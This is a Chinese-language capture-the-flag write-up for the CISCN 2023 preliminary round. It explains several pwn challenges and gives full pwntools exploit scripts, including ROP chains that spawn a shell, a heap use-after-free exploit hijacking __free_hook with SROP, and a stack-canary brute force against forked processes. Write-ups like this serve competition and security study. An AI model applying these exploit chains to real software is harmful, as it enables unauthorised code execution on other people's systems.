「PWN」【第十六届全国大学生信息安全竞赛 CISCN 初赛】Writeup WP 复现
决赛要去 Singapore,所以没时间打,初赛看看。
初赛 Pwn 题不好评价,Pwn 的部分都挺简单的,但是给你套 RE/WEB/MISC 的壳,两天的 pwn3 都没出,也不太想看了。
shaokao
签到题。负数溢出刷钱,栈溢出写 ROP。
from pwn import *
context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
context.terminal = 'wt.exe bash -c'.split(' ')
sh = process('./shaokao')
elf = ELF('./shaokao')
pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
pop_rax_ret = 0x458827
pop_rdx_rbx_ret = 0x4a404b
syscall_ret = 0x4230a6
name = elf.sym['name']
sh.sendlineafter('来点啥?\n'.encode(), b'1\n1\n-100000\n4')
gdb.attach(sh, 'b *0x401F8D')
pause(4)
sh.sendlineafter('来点啥?\n'.encode(), b'5\n' + b'/bin/sh'.ljust(0x28, b'\x00') +
p64(pop_rdi_ret) + p64(name) + p64(pop_rax_ret) + p64(59) +
p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0)*2 + p64(syscall_ret))
sh.interactive()
talkbot
Protobuf 协议题,出题人很鸡贼的把 strings 里的 protobuf
改成了 BINARYBF
不过通过搜后面的啥还是能搜出来是 protobuf
的。还好协议字段已经直接写在字段里了,看名字猜类型。
不知道是哪里改的,但是实测发现 actionid, msgidx, msgsize 都需要 *2 才是正常值。
因为写 protobuf 太麻烦了,所以写了一个 pwnutils
菜单
def new(idx: int, size: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([1*2, idx*2, size*2, content]))
def edit(idx: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([2*2, idx*2, 2, content]))
def show(idx: int):
sh.sendafter(b'now: \n', pb_serialize([3*2, idx*2, 2, b'A']))
def delete(idx: int):
sh.sendafter(b'now: \n', pb_serialize([4*2, idx*2, 2, b'A']))
漏洞点在 del
没有把指针置 0 造成 UAF
因此可以通过打 tcache + UAF 一把梭,简单题。
不过其实还有一个隐藏的漏洞点,在 add 这里,甚至可以在没有 UAF 的情况下打通( talkbot_revenge? )
注意到 heap
和 size
只有 0x20
的偏移。那么如果我们 add(0, 0)
之后再 add(0x20, 0)
,就会让 heap[0x20]
写在 size[0]
上,造成 size[0]
非常巨大。
此时,利用 edit 就可以造成堆溢出。此时我们可以在下面重新造一个 chunk 用(因为这个 chunk 太大了,直接 show 会出问题),然后再利用下一个 chunk 再去堆溢出,改一个 unsortedbin 出来泄露。
然而麻烦的是,protobuf 解析的时候会创建很多堆块,并且它不回收。而我们最大只能创建 0xf0
的堆块,所以堆风水调了我很久。
new(0, 0, b'')
new(1, 0x10, b'')
new(0x20, 0x10, b'')
edit(0, p64(0)*3+p64(0x51)+b'\x00'.ljust(0x48, b'\x00')+p64(0x91))
delete(1)
new(2, 0x88, b'A'*0x70)
edit(2, b'\x00'.ljust(0x68, b'\x00') + p64(0x451))
new(10, 0xf0, b'')
new(11, 0xf0, b'')
delete(0x20)
new(12, 0xf0, b'')
show(12)
libc_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
sh.recv(0x9a+0x38)
heap_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x510
还好最后是够了。接下来就是 __free_hook
的过程。因为是 2.31,所以得利用 magic_gadget + setcontext
控制程序流。
这里研究了一下 SROP,然后又顺手写了个 FAST_HEAP_SROP 方便以后用。
不过等考完试之后估计还要优化下,现在不优美。
exp:
from pwn import *
from typing import Any
from pwnutils.protocol.protobuf import serialize as pb_serialize
from pwnutils.gadgets.srop import FAST_HEAP_SROP
from pwnutils.gadgets.orw import orw_shellcode
context(os='linux', arch='amd64', terminal='wt.exe bash -c'.split(' '))
context.log_level = 'DEBUG'
sh = process(['./pwn'])
elf = ELF('./pwn')
libc = ELF('/home/nova/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
def new(idx: int, size: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([1*2, idx*2, size*2, content]))
def edit(idx: int, content: bytes):
sh.sendafter(b'now: \n', pb_serialize([2*2, idx*2, 2, content]))
def show(idx: int):
sh.sendafter(b'now: \n', pb_serialize([3*2, idx*2, 2, b'A']))
def delete(idx: int):
sh.sendafter(b'now: \n', pb_serialize([4*2, idx*2, 2, b'A']))
new(0, 0, b'')
new(1, 0x10, b'')
new(0x20, 0x10, b'')
edit(0, p64(0)*3+p64(0x51)+b'\x00'.ljust(0x48, b'\x00')+p64(0x91))
delete(1)
new(2, 0x88, b'A'*0x70)
edit(2, b'\x00'.ljust(0x68, b'\x00') + p64(0x451))
new(10, 0xf0, b'')
new(11, 0xf0, b'')
delete(0x20)
new(12, 0xf0, b'')
show(12)
libc_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
sh.recv(0x9a+0x38)
heap_base = u64(sh.recv(6).ljust(8, b'\x00')) - 0x510
free_hook = libc_base + libc.sym['__free_hook']
open_ = libc_base + libc.sym['open']
read_ = libc_base + libc.sym['read']
write_ = libc_base + libc.sym['write']
mprotect = libc_base + libc.sym['mprotect']
set_context_61 = libc_base + libc.sym['setcontext'] + 61
magic_gadget = libc_base + 0x1547a0
pop_rdi_ret = libc_base + 0x26b72
pop_rsi_ret = libc_base + 0x27529
pop_rdx_ret = libc_base + 0x11c1e1
success(f'libc_base: {hex(libc_base)}')
success(f'heap_base: {hex(heap_base)}')
new(13, 0x80, b'')
delete(13)
delete(2)
edit(0, p64(0)*3+p64(0x51)+b'\x00'.ljust(0x48, b'\x00')+p64(0x71))
edit(0, p64(0)*3+p64(0x51)+b'\x00'.ljust(0x48, b'\x00')+p64(0x71)+p64(free_hook))
new(14, 0x80, b'')
new(15, 0x80, p64(magic_gadget))
payload = FAST_HEAP_SROP(heap_base + 0xcc0, set_context_61, read_)
new(16, 0xf0, bytes(payload)[:0xf0])
delete(16)
payload = orw_shellcode(rdi=pop_rdi_ret, rsi=pop_rsi_ret, rdx=pop_rdx_ret, mprotect_addr=mprotect, sig=payload, rdx_r12=True)
sh.send(payload)
sh.interactive()
PDC2.0
真的属于 pwn 题么? 1.0 见 伽玛实验场 | PDC 面壁计划管理系统-出题人视角 | CTF 导航 (ctfiot.com)
拿到附件是一个 app.py,一个 cmdHistory 和一个 流量包,还有一个库 aiortc。
对于 aiortc,通过 diff 可以知道他把 ecc 改成了 rsa 的,具体原因可以参考上面的链接。
观察流量包搜索路由 tell2me
,可以看到有一个 weisi 的 token,而他的 sk 是我们已知的,在 app.py 中
观察 app.py
可以知道我们可以访问 download 路由下载一些东西,其中有一个 editDatabase 的东西。
我们可以发现,想要下载它,就需要 luoji 的 sk,不过注意到这里,它并没有直接使用 pk2sk[pk],而是做了循环判断
其中, pk 是我们传过去的 [45:],而下面判断是不是 luoji 的时候又使用了 [45:50],这其实给了我们一个利用:
假设我们传送的 submitToken[45:] 是 luojiweisi,那么 sk = pk2sk[weisi],是我们已知的,但是判断的 [45:50] == luoji
,就可以利用,利用过程不谈了,就是验签然后生成类似 HMAC 的东西,具体可以看上面的文章。
同时,通过观察 cmdHistory
,我们还可以知道 ssl.log
的位置,也可以利用这个进行下载,这用于我们解密 DTLS 的流量,获取他们的密钥等等,但是由于我 wireshark 出问题了,没办法解密,暂且搁置不谈。
同样的利用可以进入到 tell2me 中,我们发现要与服务器进行通信需要 RTC,不过这到最后也没配上,内网穿透 STUN 打不通。
让我们来看 pwn 的部分,很简单。
memcpy 从返回地址开始盖了 0x18 字节,布置 pop rdi;ret [fake rdi]; addr_of_sqlite3_exec 的 rop 链,其中 fake rdi 放在输入的 buffer 上即可构造一个语句拼接执行。
由于没环境,所以打不了
funcanary
fork 的特点, canary 不会变。
没有远程环境,本地没打通,不知道啥问题,思路就那样,唯一的问题就是最后需要爆一字节(两字节,只有低 12bit 相同),但是这里没有爆通,多线程懒得调,将就看吧
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = 'wt.exe bash -c'.split(' ')
canary = b'\x00'
sh = process(['./funcanary'])
elf = ELF('./funcanary')
for k in range(7):
for i in range(0xff+1):
sh.recvuntil(B'welcome\n')
sh.send(s := B'A'*0x68 + canary + i.to_bytes(1, 'little'))
if (a := sh.recvline()) != b'*** stack smashing detected ***: terminated\n':
canary += i.to_bytes(1, 'little')
success(canary.hex())
break
# gdb.attach(sh, 'b *$rebase(0x12B6)\nset detach-on-fork off')
# pause()
for i in range(0x10):
sh.send(s := B'A'*0x68 + canary + p64(0) + b'\x29' + ((i<<4) + 2).to_bytes(1, 'little'))
if b'welcome' not in (b := sh.recvline()):
print(b)
sh.interactive()
shellwego
go 题,re 大于 pwn 感觉。
恢复符号表用的是 go_parser,不过它还没有支持 go1.2x 版本,根据 Issue 把幻数(magic number)改了一下,让他勉强运行下来恢复了符号表(但是类型没有恢复出来)
伪代码看不成,细节全没了,一行一行汇编对着看的。
可以看到有一个提权。具体的代码在 0x4C1900
那个大块里,慢慢看总能看懂的。
这里简单说一下,首先它会将输入按空格分隔开,然后判断第一个的长度再继续对命令进行判断。
这里有一个 cert,然后 rbx 是命令分割后的个数,可以看到有 3 个,猜测格式是 cert [user] [pass]
, user 在下面可以看到,是 nAcDsMicN
(小端序)
密码的验证逻辑,感谢恢复了符号表,可以让我们一眼看出是 rc4 和 base64,不然还得嗯逆。
passphare 是 F1nallB1rd3K3y
,密文是 JLIX8pbSvYZu/WaG
,解密一下就可以知道密码是 S33UAga1n@#!
至此,提权部分结束。
之后提权可以用的指令是 ls, cat, echo, chdir
之类的,这里省去痛苦的逆向过程,直接看 vuln 函数 echo。
这里做了一个拼接,将诸如 echo texta textb textc
的 texta textb textc
,前面因为分割空格给它分割了,再拼接回来。其中这里有一个条件是他们每一段的长度都不大于 0x200。
然后这里有一个很奇怪的逻辑,一眼有问题。他把这些数又拷贝到另一个地方,方便输出。但是遇到 +
便跳过拷贝。而且这里 i 的上限居然到了 0x400,调试就可以发现这里有一个栈溢出,因为我们的 i 每段是 0x200,而不限制段数的。但是 fuzz 的时候还发现,我们必须要利用 + 进行绕过,因为 char_ptr 也在 v18 + i
的内存空间上。所以合理布局,即可控制返回地址,然后打 ROP 即可。
整体难度不是很大,只是逆向很复杂,而且其实一开始没找到洞,是 fuzz 的时候偶然发现的 crash。
最后的 ROP 是 read 了一个 /bin/sh 上去然后直接 execve,比 orw 方便一点。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context(arch = 'amd64', os = 'linux')
context.log_level = 'debug'
context.terminal='wt.exe bash -c'.split(' ')
sh = process('./pwn')
elf = ELF('./pwn')
# libc = ELF('./libc.so.6')
sh.sendlineafter(b'ciscnshell$', b'cert nAcDsMicN S33UAga1n@#!')
gdb.attach(sh, f'b *0x444fec')
pause(3)
pop_rdi_ret = 0x444fec
pop_rsi_ret = 0x41e818
pop_rdx_ret = 0x49e11d
pop_rax_ret = 0x40d9e6
syscall_ret = 0x4636e9
payload = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(0x589000) + p64(pop_rdx_ret) + p64(8) + p64(pop_rax_ret) + p64(0x0) + p64(syscall_ret)
payload += p64(pop_rdi_ret) + p64(0x589000) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(pop_rax_ret) + p64(0x3b) + p64(syscall_ret)
sh.sendlineafter(b'nightingale#', b'echo ' + b'A'*0x10 + b' ' + b'+'*0x200 + b" " + b'b'.ljust(0x13, b'+') + payload)
sh.send(b'/bin/sh\x00')
sh.interactive()
pwn6
Blind PWN,没远程没思路。
碎碎念
国赛初赛的 pwn 大概是 ez, medium, hard,分的很明显,说实话感觉决赛 pwn 可能有点复杂,还好这届不是我打(笑)
不过国赛的 pwn,这次和 pwn 相关的部分都不难,反而是其它的部分难,有点搞了。